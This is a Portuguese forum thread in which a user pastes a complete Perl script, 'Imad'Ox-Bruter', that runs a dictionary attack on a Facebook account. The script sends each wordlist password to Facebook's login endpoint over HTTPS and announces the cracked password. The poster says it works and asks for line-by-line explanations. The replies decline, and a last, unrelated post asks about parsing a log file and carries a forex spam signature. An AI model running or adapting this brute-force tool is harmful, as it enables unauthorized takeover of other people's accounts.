Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Entender Script Perl

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Perl Entender Script Perl

    Boa noite galera. gostaria de entender como esse script perl funciona ,é o famoso forcebrute que usa uma wordlist e testa senhas para facebook; eu queria comentarios em cada linha do código se possivel , aqui segue o código .

    #!/usr/bin/perl
    #
    # Bruteforce-Facebook
    #
    # Description:
    # Imad'Ox Cracker is a password cracking tool written in perl to perform a dictionary-based attack on a specific Facebook user through HTTPS.
    #
    # Usage:
    # perl Imad'Ox-Bruter.pl login wordlist
    # login could be either a user's email address or profile name
    #
    # Module Requirements:
    #
    # Install module if missing:
    # perl -MCPAN -e 'install Net::SSLeay'
    #
    # Demo:
    # perl Imad'Ox-Bruter.pl Facebooklogin@facebook.com wordlist.lst
    #
    # --- Imad'Ox-Bruter Facebook password cracking tool
    # --- By Imad'Ox Hunter
    # --- Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    #
    # [+] Cracking Facebooklogin@facebook.com ...
    #
    # [-] test -> Failed
    # [-] test123 -> Failed
    # [-] testtest -> Failed
    # [-] testest123 -> Failed
    # [-] qwerty -> Failed
    # [-] azerty -> Failed
    # [-] password -> Failed
    # [-] password123 -> Failed
    #
    ################################################## ######
    # [+] CRACKED! Your password is P@$$W0RD
    ################################################## ######
    #

    use strict;
    use Net::SSLeay::Handle;

    if(!defined($ARGV[0] && $ARGV[1])) {

    system('clear');
    print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n";
    print "+++ Coded by Imad'Ox-Hunter\n";
    print "+++ www.fb.com/imad.elouajib\n\n";
    print "+++ Usage: perl $0 login wordlist\n\n";
    exit; }

    my $user = $ARGV[0];
    my $wordlist = $ARGV[1];

    open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";

    print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n";
    print "+++ Coded by Imad'Ox-Hunter\n";
    print "+++ www.fb.com/imad.elouajib\n";
    print "\n[+] Now Cracking $user ...\n\n";

    while (my $password = <LIST>) {
    chomp ($password);
    $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;

    my $a = "POST /login.php HTTP/1.1";
    my $b = "Host: www.facebook.com";
    my $c = "Connection: close";
    my $e = "Cache-Control: max-age=0";
    my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
    my $g = "Origin: https://www.facebook.com";
    my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
    my $i = "Content-Type: application/x-www-form-urlencoded";
    my $j = "Accept-Encoding: gzip,deflate,sdch";
    my $k = "Accept-Language: en-US,en;q=0.8";
    my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";

    my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
    my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&le gacy_return=1&next=&profile_selector_ids=&trynum=1 &timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470& email=$user&pass=$password&default_persistent=0&lo gin=Log+In";
    my $cl = length($post);
    my $d = "Content-Length: $cl";


    my ($host, $port) = ("www.facebook.com", 443);

    tie(*SSL, "Net::SSLeay::Handle", $host, $port);


    print SSL "$a\n";
    print SSL "$b\n";
    print SSL "$c\n";
    print SSL "$d\n";
    print SSL "$e\n";
    print SSL "$f\n";
    print SSL "$g\n";
    print SSL "$h\n";
    print SSL "$i\n";
    print SSL "$j\n";
    print SSL "$k\n";
    print SSL "$l\n";
    print SSL "$cookie\n\n";

    print SSL "$post\n";

    my $success;
    while(my $result = <SSL>){
    if($result =~ /Location(.*?)/){
    $success = $1;
    }
    }
    if (!defined $success)
    {
    print "[-] $password -> Not Him \n";
    close SSL;
    }
    else
    {
    print "\n############################################### #########\n";
    print "[+] Yuuup!! Pass Cracked => Pass is $password \n";
    print "################################################# #######\n\n";
    close SSL;
    exit;
    }
    }




    ja testei funciona certinho , mas eu quero mesmo é entender o que acontece em cada linha, vou apresentar sobre o tema perl na minha universidade e achei legal comentar essa força da linguagem.
    Similar Threads

  • Font Size
    #2
    Cara, dificilmente alguém vai fazer isso para você de graça. Eu não entendo nada de perl, mas o pouco que eu vi desse script é mto simples você estudar, é só usar da paciência e da pesquisa quando encontrar algum comando novo.
    "Não subestime os fracos pois eles não agem com a força e sim com a mente."

    Comment


    • Font Size
      #3
      Se voce souber programar no mínimo em uma linguagem, voce sabe o que isso faz. Se nao, nao adianta te explicar

      Comment


      • Font Size
        #4
        Entender Script Perl

        Hey guys, Im new to the forum and to Perl and looking for some help. Im a "shade tree programmer", have some experience here and there with other types of scripts.

        Im trying to write a perl script to look at a log file for a particular line "Total TestCases: 7 0 failed". If this doesnt exist meaning I have more than 0 failed, I want it to email me stating "test xyz failed".

        I havent made it far...have this, and its not even close. Oh and its on a windows machine using ActivePerl.

        #C:Perl64binperl

        open LOGFILE, CALQADALQAReport.txt;

        while <LOGFILE>
        chomp;
        print "_n";;

        close LOGFILE;
        I'm using forex expert advisor for reliable investments

        Comment

        X
        Working...
        X